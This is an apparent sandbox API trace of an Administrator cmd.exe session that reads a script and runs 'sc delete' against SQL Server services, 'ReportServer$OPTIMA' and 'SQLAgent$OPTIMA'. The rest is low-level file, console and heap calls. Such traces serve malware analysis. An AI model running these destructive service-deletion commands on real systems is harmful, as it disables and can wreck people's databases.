0x0 [0066.728] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.728] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.728] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.728] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.728] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.728] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.728] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.728] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.728] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.728] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.729] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.729] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.729] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="RQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.729] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.729] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.729] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="eLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.729] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.729] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.729] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="pAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.729] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.729] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.729] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="ogent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="rent$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="tnt$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="St$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="e$OPTIMA\"\nPTIMA\"\n") returned 1 [0066.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="rOPTIMA\"\nPTIMA\"\n") returned 1 [0066.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="vPTIMA\"\nPTIMA\"\n") returned 1 [0066.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="eTIMA\"\nPTIMA\"\n") returned 1 [0066.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="rIMA\"\nPTIMA\"\n") returned 1 [0066.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="$MA\"\nPTIMA\"\n") returned 1 [0066.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="OA\"\nPTIMA\"\n") returned 1 [0066.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="P\"\nPTIMA\"\n") returned 1 [0066.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="T\nPTIMA\"\n") returned 1 [0066.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="IPTIMA\"\n") returned 1 [0066.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="MTIMA\"\n") returned 1 [0066.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.733] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="AIMA\"\n") returned 1 [0066.733] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.733] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.733] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="\"MA\"\n") returned 1 [0066.733] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.733] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.733] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.733] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35e, cchWideChar=1 | out: lpWideCharStr="\nA\"\n") returned 1 [0066.733] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.733] GetFileType (hFile=0xb8) returned 0x3 [0066.733] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.733] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.733] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.733] GetFileType (hFile=0x120) returned 0x3 [0066.733] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"ReportServer$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"ReportServer$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 33 [0066.733] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x20, lpOverlapped=0x0) returned 1 [0066.733] GetProcessHeap () returned 0x1b0000 [0066.733] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.734] GetProcessHeap () returned 0x1b0000 [0066.734] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.734] GetProcessHeap () returned 0x1b0000 [0066.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.734] GetProcessHeap () returned 0x1b0000 [0066.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.734] GetProcessHeap () returned 0x1b0000 [0066.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4c) returned 0x1c97e0 [0066.734] GetConsoleOutputCP () returned 0x1b5 [0066.735] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.735] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.736] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.736] GetProcessHeap () returned 0x1b0000 [0066.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.736] GetProcessHeap () returned 0x1b0000 [0066.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x52) returned 0x1c9840 [0066.736] GetProcessHeap () returned 0x1b0000 [0066.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0066.736] SetErrorMode (uMode=0x0) returned 0x1 [0066.736] SetErrorMode (uMode=0x1) returned 0x0 [0066.736] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.736] SetErrorMode (uMode=0x1) returned 0x1 [0066.736] GetProcessHeap () returned 0x1b0000 [0066.736] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0066.736] GetProcessHeap () returned 0x1b0000 [0066.736] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0066.736] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.737] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.737] GetProcessHeap () returned 0x1b0000 [0066.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.737] GetProcessHeap () returned 0x1b0000 [0066.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.737] GetProcessHeap () returned 0x1b0000 [0066.737] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.737] GetProcessHeap () returned 0x1b0000 [0066.737] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.737] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.737] GetProcessHeap () returned 0x1b0000 [0066.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0066.737] GetProcessHeap () returned 0x1b0000 [0066.737] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0066.737] GetProcessHeap () returned 0x1b0000 [0066.737] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0066.737] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.737] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.737] GetLastError () returned 0x2 [0066.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.738] GetLastError () returned 0x2 [0066.738] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.738] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.738] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.738] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.738] GetLastError () returned 0x2 [0066.738] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.738] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.738] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.739] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.739] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.739] GetProcessHeap () returned 0x1b0000 [0066.739] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.739] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.739] GetProcessHeap () returned 0x1b0000 [0066.739] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xb8) returned 0x1c9180 [0066.739] GetProcessHeap () returned 0x1b0000 [0066.739] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xb8 [0066.739] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"ReportServer$OPTIMA\"") returned 1 [0066.740] GetProcessHeap () returned 0x1b0000 [0066.740] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.740] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.740] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.740] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.740] GetProcessHeap () returned 0x1b0000 [0066.740] 